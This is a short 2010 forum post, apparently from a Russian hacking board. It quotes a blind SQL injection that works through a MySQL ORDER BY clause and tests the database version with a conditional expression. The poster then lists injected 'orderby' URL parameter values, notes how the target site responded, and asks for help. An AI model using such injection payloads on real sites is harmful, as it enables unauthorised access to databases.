
16.10.2010, 08:20
|
|
Новичок
Регистрация: 09.10.2010
Сообщений: 3
С нами:
8206166
Репутация:
0
|
|
Сообщение от Strilo4ka
Example, we have mysql5.
Код:
select username from users order by username *(IF(ASCII(SUBSTRING(VERSION(),1,1))=53,1,-1))
No good.
site.php?orderby=-1 is true (ASC)
site.php?orderby=-2312 is true (ASC)
site.php?orderby=1 is false (no columns at all)
site.php?orderby=,1 is true (ASC)
site.php?orderby=*(IF(1=2,1,0)) is true (WTF???)
site.php?orderby=*(IF(1=1,0,0)) true again (asc)
Have no idea what to do. Any help?
|
|
|